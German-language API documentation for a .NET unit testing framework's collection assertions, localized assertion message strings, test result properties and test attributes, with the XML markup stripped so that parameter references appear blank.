Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - wurde nicht gefunden in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if every element in is also found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn alle Elemente in der Untermenge auch in der - Obermenge enthalten sind. - - - Die Sammlung, von der erwartet wird, dass sie keine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie keine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn jedes Element in - auch gefunden wird in . - Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if every element in is also found in - . - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen die gleichen Elemente enthalten, und löst eine - Ausnahme aus, wenn eine der Sammlungen ein Element enthält, das in der anderen - Sammlung nicht enthalten ist. - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, die der Test - erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in einer - der Sammlungen gefunden wurde, aber nicht in der anderen. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob zwei Sammlungen verschiedene Elemente enthalten, und löst eine - Ausnahme aus, wenn die beiden Sammlungen identische Elemente enthalten (ohne Berücksichtigung - der Reihenfolge). - - - Die erste zu vergleichende Sammlung. Enthält die Elemente, von denen der Test erwartet, - dass sie sich von der tatsächlichen Sammlung unterscheiden. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält die gleichen Elemente wie . Die Meldung - wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung Instanzen - des erwarteten Typs sind, und löst eine Ausnahme aus, wenn der erwartete Typ sich - nicht in der Vererbungshierarchie mindestens eines Elements befindet. - - - Die Sammlung, die Elemente enthält, von denen der Test erwartet, dass sie - vom angegebenen Typ sind. - - - Der erwartete Typ jedes Elements von . - - - Die in die Ausnahme einzuschließende Meldung, wenn ein Element in - ist keine Instanz von - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Ermittelt, ob die erste Sammlung eine Teilmenge der zweiten - Sammlung ist. Wenn eine der Mengen Elementduplikate enthält, muss die Anzahl - der Vorkommen des Elements in der Teilmenge kleiner oder - gleich der Anzahl der Vorkommen in der Obermenge sein. - - - Die Sammlung, von der der Test erwartet, dass sie enthalten ist in . - - - Die Sammlung, von der der Test erwartet, dass sie Folgendes enthält: . - - - TRUE, wenn: eine Teilmenge ist von - , andernfalls FALSE. - - - - - Generiert ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - Die zu verarbeitende Sammlung. - - - Die Anzahl der Nullelemente in der Sammlung. - - - Ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - - - Findet ein nicht übereinstimmendes Element in den beiden Sammlungen. Ein nicht übereinstimmendes - Element ist ein Element, für das sich die Anzahl der Vorkommen in der - erwarteten Sammlung von der Anzahl der Vorkommen in der tatsächlichen Sammlung unterscheidet. Von den - Sammlungen wird angenommen, dass unterschiedliche Verweise ungleich null mit der - gleichen Anzahl von Elementen vorhanden sind. Der Aufrufer ist für diese Ebene - der Überprüfung verantwortlich. Wenn kein nicht übereinstimmendes Element vorhanden ist, gibt die Funktion FALSE - zurück, und die out-Parameter sollten nicht verwendet werden. - - - Die erste zu vergleichende Sammlung. - - - Die zweite zu vergleichende Sammlung. - - - Die erwartete Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Die tatsächliche Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Das nicht übereinstimmende Element (kann NULL sein) oder NULL, wenn kein nicht - übereinstimmendes Element vorhanden ist. - - - TRUE, wenn ein nicht übereinstimmendes Element gefunden wurde, andernfalls FALSE. - - - - - vergleicht die Objekte mithilfe von object.Equals - - - - - Basisklasse für Frameworkausnahmen. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Eine stark typisierte Ressourcenklasse zum Suchen nach lokalisierten Zeichenfolgen usw. - - - - - Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. - - - - - Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - Ressourcensuchen mithilfe dieser stark typisierten Ressourcenklasse. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zugriffszeichenfolge weist ungültige Syntax auf." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartete Sammlung enthält {1} Vorkommen von <{2}>. Die tatsächliche Sammlung enthält {3} Vorkommen. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Elementduplikat gefunden: <{1}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Groß-/Kleinschreibung unterscheidet sich für den tatsächlichen Wert: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz nicht größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1} ({2})>. Tatsächlich: <{3} ({4})>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beliebiger Wert erwartet, ausgenommen: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Übergeben Sie keine Werttypen an AreSame(). In Object konvertierte Werte sind nie gleich. Verwenden Sie ggf. AreEqual(). {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Fehler von {0}. {1}" nach. - - - - - Sucht nach einer lokalisierten Zeichenfolge ähnlich der folgenden: "async TestMethod" wird mit UITestMethodAttribute nicht unterstützt. Entfernen Sie "async", oder verwenden Sie TestMethodAttribute. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen sind leer. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungsverweise zeigen auf das gleiche Sammlungsobjekt. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0}({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(null)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(object)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' enthält nicht Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} ({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Assert.Equals sollte für Assertionen nicht verwendet werden. Verwenden Sie stattdessen Assert.AreEqual & Überladungen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Anzahl der Elemente in den Sammlungen stimmt nicht überein. Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {0} stimmt nicht überein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} weist nicht den erwarteten Typ auf. Erwarteter Typ: <{2}>. Tatsächlicher Typ: <{3}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} ist (null). Erwarteter Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' endet nicht mit Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ungültiges Argument: EqualsTester darf keine NULL-Werte verwenden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Objekt vom Typ {0} kann nicht in {1} konvertiert werden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Das referenzierte interne Objekt ist nicht mehr gültig." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Eigenschaft {0} weist den Typ {1} auf. Erwartet wurde der Typ {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} Erwarteter Typ: <{1}>. Tatsächlicher Typ: <{2}>." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt nicht mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Falscher Typ: <{1}>. Tatsächlicher Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Kein DataRowAttribute angegeben. Mindestens ein DataRowAttribute ist mit DataTestMethodAttribute erforderlich." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Keine Ausnahme ausgelöst. {1}-Ausnahme wurde erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. Der Wert darf nicht NULL sein. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Unterschiedliche Anzahl von Elementen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der Konstruktor mit der angegebenen Signatur wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der angegebene Member ({0}) wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Zeichenfolge '{0}' beginnt nicht mit der Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der erwartete Ausnahmetyp muss System.Exception oder ein von System.Exception abgeleiteter Typ sein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(Fehler beim Abrufen der Meldung vom Typ {0} aufgrund einer Ausnahme.)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat erwartete Ausnahme {0} nicht ausgelöst. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Testmethode hat keine Ausnahme ausgelöst. Vom Attribut {0}, das für die Testmethode definiert ist, wurde eine Ausnahme erwartet." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} oder ein davon abgeleiteter Typ wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ausnahme {2} wurde ausgelöst, aber Ausnahme {1} wurde erwartet. {0} - Ausnahmemeldung: {3} - Stapelüberwachung: {4}" nach. - - - - - Ergebnisse des Komponententests - - - - - Der Test wurde ausgeführt, aber es gab Probleme. - Möglicherweise liegen Ausnahmen oder Assertionsfehler vor. - - - - - Der Test wurde abgeschlossen, es lässt sich aber nicht sagen, ob er bestanden wurde oder fehlerhaft war. - Kann für abgebrochene Tests verwendet werden. - - - - - Der Test wurde ohne Probleme ausgeführt. - - - - - Der Test wird zurzeit ausgeführt. - - - - - Systemfehler beim Versuch, einen Test auszuführen. - - - - - Timeout des Tests. - - - - - Der Test wurde vom Benutzer abgebrochen. - - - - - Der Test weist einen unbekannten Zustand auf. - - - - - Stellt Hilfsfunktionen für das Komponententestframework bereit. - - - - - Ruft die Ausnahmemeldungen (einschließlich der Meldungen für alle inneren Ausnahmen) - rekursiv ab. - - Ausnahme, für die Meldungen abgerufen werden sollen - Zeichenfolge mit Fehlermeldungsinformationen - - - - Enumeration für Timeouts, die mit der -Klasse verwendet werden kann. - Der Typ der Enumeration muss entsprechen: - - - - - Unendlich. - - - - - Das Testklassenattribut. - - - - - Erhält ein Testmethodenattribut, das die Ausführung des Tests ermöglicht. - - Die für diese Methode definierte Attributinstanz der Testmethode. - Diezum Ausführen dieses Tests - Extensions can override this method to customize how all methods in a class are run. - - - - Das Testmethodenattribut. - - - - - Führt eine Testmethode aus. - - Die auszuführende Textmethode. - Ein Array aus TestResult-Objekten, die für die Ergebnisses des Tests stehen. - Extensions can override this method to customize running a TestMethod. - - - - Das Testinitialisierungsattribut. - - - - - Das Testbereinigungsattribut. - - - - - Das Ignorierattribut. - - - - - Das Testeigenschaftattribut. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Der Name. - - - Der Wert. - - - - - Ruft den Namen ab. - - - - - Ruft den Wert ab. - - - - - Das Klasseninitialisierungsattribut. - - - - - Das Klassenbereinigungsattribut. - - - - - Das Assemblyinitialisierungsattribut. - - - - - Das Assemblybereinigungsattribut. - - - - - Der Testbesitzer. - - - - - Initialisiert eine neue Instanz der-Klasse. - - - Der Besitzer. - - - - - Ruft den Besitzer ab. - - - - - Prioritätsattribut. Wird zum Angeben der Priorität eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Die Priorität. - - - - - Ruft die Priorität ab. - - - - - Die Beschreibung des Tests. - - - - - Initialisiert eine neue Instanz der -Klasse zum Beschreiben eines Tests. - - Die Beschreibung. - - - - Ruft die Beschreibung eines Tests ab. - - - - - Der URI der CSS-Projektstruktur. - - - - - Initialisiert eine neue Instanz der -Klasse der CSS Projektstruktur-URI. - - Der CSS-Projektstruktur-URI. - - - - Ruft den CSS-Projektstruktur-URI ab. - - - - - Der URI der CSS-Iteration. - - - - - Initialisiert eine neue Instanz der-Klasse für den CSS Iterations-URI. - - Der CSS-Iterations-URI. - - - - Ruft den CSS-Iterations-URI ab. - - - - - WorkItem-Attribut. Wird zum Angeben eines Arbeitselements verwendet, das diesem Test zugeordnet ist. - - - - - Initialisiert eine neue Instanz der-Klasse für das WorkItem-Attribut. - - Die ID eines Arbeitselements. - - - - Ruft die ID für ein zugeordnetes Arbeitselement ab. - - - - - Timeoutattribut. Wird zum Angeben des Timeouts eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Das Timeout. - - - - - Initialisiert eine neue Instanz der -Klasse mit einem voreingestellten Timeout. - - - Das Timeout. - - - - - Ruft das Timeout ab. - - - - - Das TestResult-Objekt, das an den Adapter zurückgegeben werden soll. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ruft den Anzeigenamen des Ergebnisses ab oder legt ihn fest. Hilfreich, wenn mehrere Ergebnisse zurückgegeben werden. - Wenn NULL, wird der Methodenname als DisplayName verwendet. - - - - - Ruft das Ergebnis der Testausführung ab oder legt es fest. - - - - - Ruft die Ausnahme ab, die bei einem Testfehler ausgelöst wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Debugablaufverfolgungen nach Testcode fest oder legt sie fest. - - - - - Gets or sets the debug traces by test code. - - - - - Ruft die Dauer der Testausführung ab oder legt sie fest. - - - - - Ruft den Datenzeilenindex in der Datenquelle ab, oder legt ihn fest. Nur festgelegt für Ergebnisse einer individuellen - Ausführung einer Datenzeile eines datengesteuerten Tests. - - - - - Ruft den Rückgabewert der Testmethode ab (zurzeit immer NULL). - - - - - Ruft die vom Test angehängten Ergebnisdateien ab, oder legt sie fest. - - - - - Gibt die Verbindungszeichenfolge, den Tabellennamen und die Zeilenzugriffsmethode für datengesteuerte Tests an. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - 